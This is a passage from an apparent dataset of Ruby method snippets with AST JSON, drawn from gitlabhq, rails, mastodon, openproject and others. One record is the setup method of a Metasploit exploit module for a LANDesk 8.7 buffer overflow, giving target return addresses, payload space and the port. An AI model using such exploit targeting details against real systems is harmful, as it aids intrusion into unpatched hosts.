{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/commit_controller.rb","start_line":32,"raw_source":"def show\n    apply_diff_view_cookie!\n\n    respond_to do |format|\n      format.html do\n        @ref = params[:id]\n        render locals: { pagination_params: params.permit(:page) }\n      end\n      format.diff do\n        send_git_diff(@project.repository, @commit.diff_refs)\n      end\n      format.patch do\n        send_git_patch(@project.repository, @commit.diff_refs)\n      end\n    end\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"apply_diff_view_cookie!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"html\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@ref\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pagination_params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"page\"]}]}]}]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"diff\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_git_diff\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit\"]},\"diff_refs\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"patch\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"send_git_patch\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@commit\"]},\"diff_refs\"]}]}]}]}]}]}]}","id":"ec139888-df9e-4e0b-ae06-ed1fc6de5b3f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/scm/checkout_instructions_service.rb","start_line":36,"raw_source":"def initialize(repository, path: nil, user: User.current)\n    @repository = repository\n    @user = user\n    @path = path\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"kwoptarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]}","id":"9c9716f2-9680-4367-acec-1c3823ea4458"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/loose_index_scan.rb","start_line":72,"raw_source":"def extract_column_and_alias_and_select(column, arel_table)\n      case column\n      when Arel::Nodes::As\n        [column.left, column.right, column]\n      when Arel::Attributes::Attribute\n        [column, column.name, column.name]\n      else\n        [arel_table[column.to_s], column.to_s, column.to_s]\n      end\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_column_and_alias_and_select\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"arel_table\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Nodes\"]},\"As\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"left\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"right\"]},{\"type\":\"lvar\",\"children\":[\"column\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"Attributes\"]},\"Attribute\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"name\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arel_table\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column\"]},\"to_s\"]}]}]}]}","id":"a9f15062-68ed-448c-a535-b510b05f7c57"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/lib/doorkeeper/oauth/authorization/code.rb","start_line":34,"raw_source":"def access_grant_attributes\n          attributes = {\n            application_id: pre_auth.client.id,\n            expires_in: authorization_code_expires_in,\n            redirect_uri: pre_auth.redirect_uri,\n            scopes: pre_auth.scopes.to_s,\n          }\n\n          if Doorkeeper.config.polymorphic_resource_owner?\n            attributes[:resource_owner] = resource_owner\n          else\n            attributes[:resource_owner_id] = resource_owner.id\n          end\n\n          pkce_attributes.merge(attributes).merge(custom_attributes)\n        end","complexity_score":25.1,"ast_json":"{\"type\":\"def\",\"children\":[\"access_grant_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"application_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"client\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_in\"]},{\"type\":\"send\",\"children\":[null,\"authorization_code_expires_in\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"redirect_uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"redirect_uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scopes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pre_auth\"]},\"scopes\"]},\"to_s\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"config\"]},\"polymorphic_resource_owner?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resource_owner\"]},{\"type\":\"send\",\"children\":[null,\"resource_owner\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"resource_owner_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_owner\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pkce_attributes\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"attributes\"]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"custom_attributes\"]}]}]}]}","id":"faa81bcc-85f5-4f96-a770-4624b3814acb"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/queries/upload_link_query.rb","start_line":37,"raw_source":"def call(auth_strategy:, input_data:)\n              with_tagged_logger do\n                Authentication[auth_strategy].call(storage: @storage) do |http|\n                  info \"Requesting an upload link on folder #{input_data.folder_id}\"\n                  handle_response(\n                    http.post(url(input_data.folder_id, input_data.file_name), json: payload(input_data.file_name))\n                  )\n                end\n              end\n            end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"auth_strategy\"]},{\"type\":\"kwarg\",\"children\":[\"input_data\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_tagged_logger\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authentication\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"auth_strategy\"]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"storage\"]},{\"type\":\"ivar\",\"children\":[\"@storage\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"http\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Requesting an upload link on folder \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"folder_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_response\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"post\",{\"type\":\"send\",\"children\":[null,\"url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"folder_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"file_name\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_data\"]},\"file_name\"]}]}]}]}]}]}]}]}]}]}","id":"ec82514c-228c-4e31-9090-7530370cec2f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/notifications/filters/notification_filter.rb","start_line":34,"raw_source":"def human_name\n    Notification.human_attribute_name(name)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"human_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Notification\"]},\"human_attribute_name\",{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}","id":"fd724643-e8b5-4b74-8a01-1ecee8b3ebd9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/landesk_aolnsrvr.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'LANDesk Management Suite 8.7 Alert Service Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in LANDesk Management Suite 8.7. By sending\n          an overly long string to the Alert Service, a buffer is overwritten and arbitrary\n          code can be executed.\n        },\n        'Author' => 'MC',\n        'References' => [\n          ['CVE', '2007-1674'],\n          ['OSVDB', '34964'],\n          ['URL', 'http://www.tippingpoint.com/security/advisories/TSRT-07-04.html'],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Payload' => {\n          'Space' => 336,\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # Aolnsrvr 4.0\n          [ 'Alerting Proxy 2000/2003/XP', { 'Ret' => 0x00423554 } ],\n          [ 'Alerting Proxy 2003 SP1-2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xed } ],\n          [ 'Alerting Proxy XP SP2 (NX support)', { 'IB' => 0x00400000, 'ProcessInfo' => 0xe4 } ],\n        ],\n        'Privileged' => true,\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2007-04-13',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([Opt::RPORT(65535)])\n  end","complexity_score":7.65,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"LANDesk Management Suite 8.7 Alert Service Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in LANDesk Management Suite 8.7. By sending\\n\"]},{\"type\":\"str\",\"children\":[\"          an overly long string to the Alert Service, a buffer is overwritten and arbitrary\\n\"]},{\"type\":\"str\",\"children\":[\"          code can be executed.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"MC\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2007-1674\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"34964\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.tippingpoint.com/security/advisories/TSRT-07-04.html\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[336]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Alerting Proxy 2000/2003/XP\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[4339028]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Alerting Proxy 2003 SP1-2 (NX support)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"IB\"]},{\"type\":\"int\",\"children\":[4194304]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ProcessInfo\"]},{\"type\":\"int\",\"children\":[237]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Alerting Proxy XP SP2 (NX support)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"IB\"]},{\"type\":\"int\",\"children\":[4194304]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ProcessInfo\"]},{\"type\":\"int\",\"children\":[228]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2007-04-13\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[65535]}]}]}]}]}]}","id":"e7970f3c-86c7-4a47-90d5-84dcb81d8980"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/topics_controller.rb","start_line":1322,"raw_source":"def self.defer_track_visit(topic_id, user_id)\n    Scheduler::Defer.later \"Track Visit\" do\n      TopicUser.track_visit!(topic_id, user_id)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"defer_track_visit\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic_id\"]},{\"type\":\"arg\",\"children\":[\"user_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Scheduler\"]},\"Defer\"]},\"later\",{\"type\":\"str\",\"children\":[\"Track Visit\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicUser\"]},\"track_visit!\",{\"type\":\"lvar\",\"children\":[\"topic_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]}]}]}","id":"b8452310-dad9-4cd7-a575-293c231dc026"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/obfuscation/crandomizer/code_factory/fake_function_collection.rb","start_line":25,"raw_source":"def each\n              functions.each do |f|\n                yield f\n              end\n            end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"each\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"functions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]}]}]}]}","id":"a0bdef96-60a6-49e1-be65-f16936b510b6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":432,"raw_source":"def relation\n          relation = Relation.create(self)\n\n          if finder_needs_type_condition? && !ignore_default_scope?\n            relation.where!(type_condition)\n          else\n            relation\n          end\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"relation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Relation\"]},\"create\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"finder_needs_type_condition?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignore_default_scope?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"where!\",{\"type\":\"send\",\"children\":[null,\"type_condition\"]}]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}]}","id":"28f88f7c-b048-4846-80bc-c87ba830905f"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/type/serialized.rb","start_line":59,"raw_source":"def force_equality?(value)\n        coder.respond_to?(:object_class) && value.is_a?(coder.object_class)\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"force_equality?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"coder\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"object_class\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"coder\"]},\"object_class\"]}]}]}]}","id":"a3ef9636-86ec-4a21-af59-bd8441b88559"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/controllers/concerns/localized_spec.rb","start_line":9,"raw_source":"def success\n      render plain: I18n.locale, status: 200\n    end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"success\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]}]}]}]}","id":"e02fc5bd-c454-4bf0-9c7d-d3de6096e87c"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/state_machine.rb","start_line":48,"raw_source":"def set_initial_state(name, options)\n      @initial_state = name if options[:initial] || !initial_state\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_initial_state\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"initial\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"initial_state\"]},\"!\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@initial_state\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]}]}","id":"7fc3fbfb-32d9-461d-94e6-f1fee236a992"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/lib/mastodon/version.rb","start_line":52,"raw_source":"def repository\n      source_configuration[:repository]\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repository\"]}]}]}","id":"6ff80b9c-d359-4753-825c-b0f1fb8996a2"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_multi_test.rb","start_line":24,"raw_source":"def test_fetch_multi_with_no_records_does_not_call_should_use_cache?\n    IdentityCache.expects(:should_use_cache?).never\n    assert_equal([], Item.fetch_multi)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_with_no_records_does_not_call_should_use_cache?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"expects\",{\"type\":\"sym\",\"children\":[\"should_use_cache?\"]}]},\"never\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\"]}]}]}]}","id":"9d47f26a-57f1-4499-a3e2-b48762978f49"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_config.rb","start_line":653,"raw_source":"def assert_warning_for_hooks_defined_in_single_mode(hook_name)\n    out, _ = capture_io do\n      Puma::Configuration.new do |c|\n        c.send(hook_name) do\n          # noop\n        end\n      end\n    end\n\n    assert_match \"your `#{hook_name}` block will not run.\\n\", out\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_warning_for_hooks_defined_in_single_mode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hook_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"out\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture_io\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Configuration\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"hook_name\"]}]},{\"type\":\"args\",\"children\":[]},null]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"your `\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hook_name\"]}]},{\"type\":\"str\",\"children\":[\"` block will not run.\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"out\"]}]}]}]}","id":"0d4699b5-525a-40d7-bab3-42c1e0ed12d5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/manager.rb","start_line":366,"raw_source":"def backup_contents\n      [MANIFEST_NAME] + backup_tasks.values.reject do |task|\n        options.skip_task?(task.id) || # task skipped via CLI option\n          !task.enabled? || # task disabled via code/configuration\n          (task.destination_optional && !File.exist?(backup_path.join(task.destination_path)))\n      end.map(&:destination_path)\n    end","complexity_score":36.0,"ast_json":"{\"type\":\"def\",\"children\":[\"backup_contents\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MANIFEST_NAME\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backup_tasks\"]},\"values\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"task\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"skip_task?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"enabled?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"destination_optional\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"backup_path\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"task\"]},\"destination_path\"]}]}]},\"!\"]}]}]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"